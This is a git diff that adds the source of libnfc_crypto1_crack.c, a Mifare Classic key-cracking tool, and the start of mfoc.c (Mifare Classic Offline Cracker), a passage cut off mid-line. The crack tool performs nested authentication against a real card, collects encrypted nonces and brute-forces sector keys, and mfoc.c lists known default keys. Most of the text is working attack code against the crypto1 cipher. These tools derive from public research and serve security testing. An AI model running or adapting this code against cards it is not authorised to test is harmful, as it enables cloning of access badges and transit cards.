(http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf) -Carlo Meijer and Roel Verdult: (http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf) +- Iceman Proxmark Branch: https://github.com/iceman1001/proxmark -Iceman Proxmark Branch: https://github.com/iceman1001/proxmark +- Piwi Proxmark Branch - https://github.com/pwpiwi/proxmark3/tree/hard_nested -Piwi Proxmark Branch - https://github.com/pwpiwi/proxmark3/tree/hard_nested +- Blahpost Solver -Blahpost Solver +- MFOC - https://github.com/nfc-tools/mfoc -MFOC - https://github.com/nfc-tools/mfoc - -MFCUK - https://github.com/nfc-tools/mfcuk +- MFCUK - https://github.com/nfc-tools/mfcuk diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c new file mode 100644 index 0000000..dc9a4e5 --- /dev/null +++ b/libnfc_crypto1_crack.c @@ -0,0 +1,725 @@ +// Copyright (C) 2016 Aram Verstegen +/* + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "crypto1_bs_crack.h" + +extern uint64_t * crypto1_create(uint64_t key); +extern uint32_t crypto1_word(uint64_t *, uint32_t, int); +extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); +extern uint32_t prng_successor(uint32_t x, uint32_t n); +extern void crypto1_destroy(uint64_t*); + +#define MC_AUTH_A 0x60 +#define MC_AUTH_B 0x61 + +nfc_device* pnd; +nfc_target target; +typedef uint8_t byte_t; + +uint8_t oddparity(const uint8_t bt) +{ + // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel + return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; +} + + +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +{ + uint64_t num = 0; + while (len--) { + num = (num << 8) | (*src); + src++; + } + return num; +} + + +static nfc_context *context; + +#define MAX_FRAME_LEN 264 + +uint64_t *nonces = NULL; +size_t nonces_collected; + +enum { + OK, + ERROR, + KEY_WRONG, +}; + +#define VT100_cleareol "\r\33[2K" + +// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :) +int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) +{ + uint64_t *pcs; + + // Possible key counter, just continue with a previous "session" + uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce + uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; + + uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + uint8_t Rx[MAX_FRAME_LEN]; // Tag response + uint8_t RxPar[MAX_FRAME_LEN]; // Tag response + + uint32_t Nt; + + int i; + + // Prepare AUTH command + Cmd[0] = ab_key; + Cmd[1] = for_block; + iso14443a_crc_append(Cmd, 2); + + // We need full control over the CRC + if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool crc"); + return ERROR; + } + + // Request plain tag-nonce + // TODO: Set NP_EASY_FRAMING option only once if possible + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool framing"); + return ERROR; + } + + if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { + fprintf(stdout, "Error while requesting plain tag-nonce "); + return ERROR; + } + + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool"); + return ERROR; + } + + // Save the tag nonce (Nt) + Nt = bytes_to_num(Rx, 4); + + // Init the cipher with key {0..47} bits + pcs = crypto1_create(known_key); + + // Load (plain) uid^nt into the cipher {48..79} bits + crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); + + // Generate (encrypted) nr+parity by loading it into the cipher + for (i = 0; i < 4; i++) { + // Load in, and encrypt the reader nonce (Nr) + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); + } + + // Skip 32 bits in the pseudo random generator + Nt = prng_successor(Nt, 32); + + // Generate reader-answer from tag-nonce + for (i = 4; i < 8; i++) { + // Get the next random byte + Nt = prng_successor(Nt, 8); + // Encrypt the reader-answer (Nt' = suc2(Nt)) + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); + ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); + } + + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool parity "); + return 1; + } + + // Transmit reader-answer + int res; + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + fprintf(stderr, "Reader-answer transfer error, exiting.. "); + return KEY_WRONG; + } + + // Decrypt the tag answer and verify that suc3(Nt) is At + Nt = prng_successor(Nt, 32); + + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. "); + return ERROR; + } + + Cmd[0] = target_key; + Cmd[1] = target_block; + iso14443a_crc_append(Cmd, 2); + + for (i = 0; i < 4; i++) { + ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); + } + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + fprintf(stderr, "Reader-answer transfer error, exiting.. "); + return ERROR; + } + + if(fp){ + for(i = 0; i < 4; i++){ + fprintf(fp,"%02x", Rx[i]); + if(RxPar[i] != oddparity(Rx[i])){ + fprintf(fp,"! "); + } else { + fprintf(fp," "); + } + } + fprintf(fp, "\n"); + } + if(nonces){ + nonces[nonces_collected] = 0; + for(i = 0; i < 4; i++){ + nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); + bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]); + nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i)); + } + nonces_collected++; + } + + crypto1_destroy(pcs); + return OK; +} + +uint32_t uid; +uint32_t **space; +uint64_t found_key; +size_t thread_count; +void* crack_states_thread(void* x){ + const size_t thread_id = (size_t)x; + int j; + for(j = thread_id; space[j * 5]; j += thread_count) { + const uint64_t key = crack_states_bitsliced(space + j * 5); + if(key != -1){ + found_key = key; + break; + } + } + return NULL; +} + +bool stop_collection = false; +#define CUTOFF ((uint64_t) 1<<39) + +void * update_predictions_thread(void* p){ + while(!stop_collection){ + if(nonces && uid){ + if(space){ + craptev1_destroy_space(space); + space = NULL; + } + space = craptev1_get_space(nonces, 95, uid); + } + if(space){ + total_states = craptev1_sizeof_space(space); + } + } + return NULL; +} + +void notify_status_offline(int sig){ + printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states))); + alarm(1); + fflush(stdout); + signal(SIGALRM, notify_status_offline); +} + +void notify_status_online(int sig){ + if(!total_states){ + printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected); + } else { + printf(VT100_cleareol "Collected %zu nonces... leftover complexity %zu (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2)); + char c; + if(scanf("%c", &c) == 1 || total_states < CUTOFF){ + printf(" - initializing brute-force phase...\n"); + alarm(0); + stop_collection = true; + return; + } else { + printf(" - press enter to start brute-force phase"); + } + } + alarm(1); + fflush(stdout); + signal(SIGALRM, notify_status_online); +} + +uint64_t known_key; +uint8_t for_block; +uint8_t ab_key; +uint8_t target_block; +uint8_t target_key; +FILE* fp; + +const nfc_modulation nmMifare = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, +}; + +void * update_nonces_thread(void* v){ + while(!stop_collection){ + // Configure the CRC and Parity settings + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + // Poll for a ISO14443A (MIFARE) tag + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp); + } else { + printf(VT100_cleareol "Don't move the tag!"); + fflush(stdout); + } + } + return NULL; +} + +uint64_t main (int argc, const char * argv[]) { + nfc_init(&context); + pnd = nfc_open(context, NULL); + + if (pnd == NULL) { + fprintf(stderr, "No NFC device connection\n"); + return 1; + } + + nfc_initiator_init(pnd); + + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); + // Let the reader only try once to find a tag + nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false); + + uid = 0; + + // Enable field so more power consuming cards can power themselves up + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); + } + + if(!uid){ + fprintf(stderr, "No tag detected!\n"); + // Disconnect from NFC device + nfc_close(pnd); + return 1; + } + + if(argc < 6){ + printf("%s \n", argv[0]); + nfc_close(pnd); + return 1; + } + + known_key = strtoull(argv[1], 0, 16); + for_block = atoi(argv[2]); + ab_key = MC_AUTH_A; + if(argv[3][0] == 'b' || argv[3][0] == 'B'){ + ab_key = MC_AUTH_B; + } + target_block = atoi(argv[4]); + target_key = MC_AUTH_A; + if(argv[5][0] == 'b' || argv[5][0] == 'B'){ + target_key = MC_AUTH_B; + } + switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){ + case KEY_WRONG: + printf("%012"PRIx64" doesn't look like the right key %s for block %u\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block); + return 1; + case OK: + break; + case ERROR: + default: + printf("Some other error occurred.\n"); + break; + } + + char filename[21]; + sprintf(filename, "0x%04x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B"); + fp = fopen(filename, "wb"); + + printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %s %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block); + nonces_collected = 0; + nonces = malloc(sizeof (uint64_t) << 24); + memset(nonces, 0xff, sizeof (uint64_t) << 24); + + fcntl(0, F_SETFL, O_NONBLOCK); + signal(SIGALRM, notify_status_online); + alarm(1); + pthread_t prediction_thread, nonce_gathering_thread; + pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL); + pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL); + pthread_join(nonce_gathering_thread, 0); + pthread_join(prediction_thread, 0); + alarm(0); + + if(fp){ + fclose(fp); + } + nfc_close(pnd); + + if(!space){ + space = craptev1_get_space(nonces, 95, uid); + } + if(space){ + total_states = craptev1_sizeof_space(space); + } else { + total_states = 0; + } + if(!total_states){ + fprintf(stderr, "No solution found :(\n"); + return 1; + } + + thread_count = get_nprocs_conf(); + // append some zeroes to the end of the space to make sure threads don't go off into the wild + size_t j = 0; + for(j = 0; space[j]; j+=5){ + } + size_t fill = j + (5*thread_count); + for(; j < fill; j++) { + space[j] = 0; + } + pthread_t threads[thread_count]; + + crypto1_bs_init(); + + uint8_t rollback_byte = **space; + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); + + for(size_t tests = 0; tests < NONCE_TESTS; tests++){ + // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine + uint32_t test_nonce = uid^rev32(nonces[tests]); + uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); + test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); + crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); + } + + printf("Starting %zu threads to test %zu states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES); + total_states_tested = 0; + keys_found = 0; + signal(SIGALRM, notify_status_offline); + + notify_status_offline(0); + alarm(1); + + size_t i; + for(i = 0; i < thread_count; i++){ + pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); + } + for(i = 0; i < thread_count; i++){ + pthread_join(threads[i], 0); + } + alarm(0); + printf("\n"); + if(!keys_found){ + fprintf(stderr, "No solution found :(\n"); + return 1; + } else { + FILE *fpKey; + fpKey = fopen("/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt", "a"); + printf("Found key: %012"PRIx64"\n", found_key); + fprintf(fpKey, "%012llx\r\n", found_key); + fclose(fpKey); + } + printf("Tested %zu states\n", total_states_tested); + + craptev1_destroy_space(space); + return 0; +} diff --git a/mfoc.c b/mfoc.c new file mode 100644 index 0000000..ec68a0f --- /dev/null +++ b/mfoc.c @@ -0,0 +1,1260 @@ +/*- + * Mifare Classic Offline Cracker + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + * + * Contact: + * + * Porting to libnfc 1.3.3: Michal Boska + * Porting to libnfc 1.3.9 and upper: Romuald Conty + * + */ + +/* + * This implementation was written based on information provided by the + * following documents: + * + * http://eprint.iacr.org/2009/137.pdf + * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf + * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf + * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf + */ + +#define _XOPEN_SOURCE 1 // To enable getopt + +#include +#include +#include + +#include + +// NFC +#include + +// Crapto1 +#include "crapto1.h" + +// Internal +#include "config.h" +#include "mifare.h" +#include "nfc-utils.h" +#include "mfoc.h" + +//SLRE +#include "slre.h" +#include "slre.c" + +nfc_context *context; + +uint64_t knownKey = 0; +char knownKeyLetter = 'A'; +uint32_t knownSector = 0; +uint32_t unknownSector = 0; +char unknownKeyLetter = 'A'; +uint32_t unexpected_random = 0; + +// Determine the distance between two nonces. +// Assume that the difference is small, but we don't know which is first. +// Therefore try in alternating directions. +int32_t dist_nt(uint32_t nt1, uint32_t nt2) { + + if (nt1 == nt2) return 0; + + uint16_t i; + uint32_t nttmp1 = nt1; + uint32_t nttmp2 = nt2; + + for (i = 1; i < (32768/8); ++i) { + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; + + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); + nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; + nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); + } + // either nt1 or nt2 are invalid nonces + return(-99999); +} + + +int main(int argc, char *const argv[]) +{ + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + + int ch, i, k, n, j, m; + int key, block; + int succeed = 1; + + // Exploit sector + int e_sector; + int probes = DEFAULT_PROBES_NR; + int sets = DEFAULT_SETS_NR; + + // By default, dump 'A' keys + int dumpKeysA = true; + bool failure = false; + bool skip = false; + + // Next default key specified as option (-k) + uint8_t *defKeys = NULL, *p; + size_t defKeys_len = 0; + + // Array with default Mifare Classic keys + uint8_t defaultKeys[][6] = { + {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) + {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key + {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key + {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, + {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, + {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, + {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, + {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, + {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, + {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, + {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, + {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} + + }; + + mftag t; + mfreader r; + denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; + + // Pointers to possible keys + pKeys *pk; + countKeys *ck; + + // Pointer to already broken keys, except defaults + bKeys *bk; + + static mifare_param mp, mtmp; + static mifare_classic_tag mtDump; + + mifare_cmd mc; + FILE *pfDump = NULL; + + //File pointers for the keyfile + FILE * fp; + char * line = NULL; + size_t len = 0; + ssize_t read; + + //Regexp declarations + static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; + struct slre_cap caps[2]; + + // Parse command line arguments + while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { + switch (ch) { + case 'P': + // Number of probes + if (!(probes = atoi(optarg)) || probes < 1) { + ERR("The number of probes must be a positive number"); + exit(EXIT_FAILURE); + } + // fprintf(stdout, "Number of probes: %d\n", probes); + break; + case 'T': { + int res; + // Nonce tolerance range + if (((res = atoi(optarg)) < 0)) { + ERR("The nonce distances range must be a zero or a positive number"); + exit(EXIT_FAILURE); + } + d.tolerance = (uint32_t)res; + // fprintf(stdout, "Tolerance number: %d\n", probes); + } + break; + case 'f': + if (!(fp = fopen(optarg, "r"))) { + fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); + exit(EXIT_FAILURE); + } + while ((read = 